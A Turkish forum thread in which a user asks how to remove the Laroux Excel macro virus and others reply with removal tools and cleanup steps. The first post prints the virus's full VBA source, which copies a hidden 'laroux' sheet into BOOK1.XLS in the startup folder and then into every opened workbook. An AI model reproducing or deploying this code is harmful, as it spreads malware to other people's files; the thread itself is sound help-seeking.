laroux

[aligunes]

Bilgisayarıma aldıgım bir excel dosyası açtığım tüm excel sayfalarını aşagıdaki makroyu uyguluyor laroux adlı bir modül içerisinde bunu yok etmem için ne gerekiyor.
saygılar..

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "BOOK1.XLS")
If m$ = "BOOK1.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("laroux").Visible = True
Sheets("laroux").Select
Sheets("laroux").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "BOOK1.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("laroux").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "BOOK1.xls!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "laroux" Then
1 Workbooks("BOOK1.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("laroux").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "BOOK1.xls!check_files"
Case Else
End Select
End Sub

 

[Haluk]

Ã?nemli değil .... çok eski bir makro virüsü bulaşmış. :mrgreen:

Silmek için ...

http://www.tc-solutions.com/fwlaroux.html

 

[ALPEN]

http://www.tc-solutions.com/freeware/xxlaroux.zip

 

[ALPEN]

arghh. 2 dakika.

 

[Haluk]

hehe...

 

[Ongun]

Ã?nemli değil .... çok eski bir makro virüsü bulaşmış. :mrgreen:

Silmek için ...

http://www.tc-solutions.com/fwlaroux.html

Sayın Raider, makro virüsünün bulaşmasını önlemek için önceden yapılabilecek bir şey varmıdır. Teşekkürler

 

[Haluk]

Yani ..... iyi bir AntiVirüs programı satın alıp, güncellemelri ihmal etmemek, iyi bir alternatiftir.

Makro virüsleri için de; ne olduğunu tam olarak bilmediğinişz dosyaları açarken önce makroları etkinleştirmeden açıp, içindeki modulleri şöyle bir bakıp eğer güvenliyse tekrar makroları etkinleştirerel açmak iyi olur.

 

[aligunes]

sayın raider belirttiginiz ardesi açtım oradan bir excel dosyası birde zipli excel dosyası var bunlardan hangisini kullanacağım ve izleyecegim adımı tarif edermisiniz

 

[Haluk]

Denemedim ama ikisi de aynı şey olmalı.....

Sanırım, o XL dosyası da yine VBA kodları ile virisü temizliyor.

 

[aligunes]

arkadaşlar bu laroux virüsü çözemedim dosyayı indirdim çalıştırdım bu defada her excel dosyasını açtığımda "Run -time error '1004' erişim güvenli değil uyarısı veriyor dosyalar açılmıyor ...

 

[mhyavuz]

Arkadaşlar excel'de birşeyler yapmaya çalışırken işi berbat ettim.Sayfalarım açılmıyor. Sadece başlıkvar o kadar.Acil yardıma ihtiyacım var

 

[Haluk]

Arkadaşlar excel'de birşeyler yapmaya çalışırken işi berbat ettim.Sayfalarım açılmıyor. Sadece başlıkvar o kadar.Acil yardıma ihtiyacım var

Start >> Run --------- > excel.exe /s

yazın, "Enter" tuşuna basın.

Excel "Safe Mode" da açılması lazım.

Ã?nce bunu bir deneyin ...

 

[ahkan]

book1.xls isminde cye yerleşmiş birtür oyun bu book1.xls bul ve sil düzelir

 

[ahkan]

C:\Documents and Settings\xxxx\Application Data\Microsoft\Excel\XLSTART

xxxx olan yer kullanıcı adınız



WinXp Pro
OfficeXP

 

[otufan03]

Bugünlerde benim bilgisayarda da
BOOX1.XLS!autpen Boox1.XLS! Check_files, Laroux.autpen ve Module25.Autpen karşıma çıktı,bunların bir kısmı benim yaptığım makroların arasında buldum ve el ile sildim, Laroux'u halen ele geçirebilmiş değilim,açılış sorunları ve yaptığım bir çok makronun çalışma sorunları devam ediyor.

 

[mhyavuz]

Sevgili Haluk ve Ahkan teşekkür ederim

 

[ocamsul]

Arkadaşlar aynı virüs benim excel de var. ancak dediğiniz sayfayı indirdim. açmak istediğimde bu sayfa zaten çalışıyo diyo. sonrada sayfanın ismini değiştirip açıyorum. oluyo ama bu seferde farklı bir excel sayfasını açıp kod bölümüne baktığımda değiştirdiğim isimler orada yer alıyo yani vürüs sayfasının sadece ismi değişmiş bu isimler ben sürekli değiştirdiğim için alt alta sıralanmış ne yapmam lazım arkadaşlar.

 

[ocamsul]

Yani arkadaşlar. sayfamın Projekt bölümünde Virus_Gone_by_TCS(23.xls)

Virus_Gone_by_TCS(..........xls)
Virus_Gone_by_TCS(..........xls)
Virus_Gone_by_TCS(..........xls)

şeklinde giden sayfalar varmış gibi. yardım edermisiniz bana.

 

[Merhum İdris SERDAR]

My Computer'den veya "File Manager" den herneyse "xxlaroux" dosyalarını aratın ve bulduğunuz bu isimdeki tüm dosyaları siliniz.

 

[ocamsul]

Þimdi kardeş teknik konulara biraz yabancıyım. My Computer e nerden ulaşacam?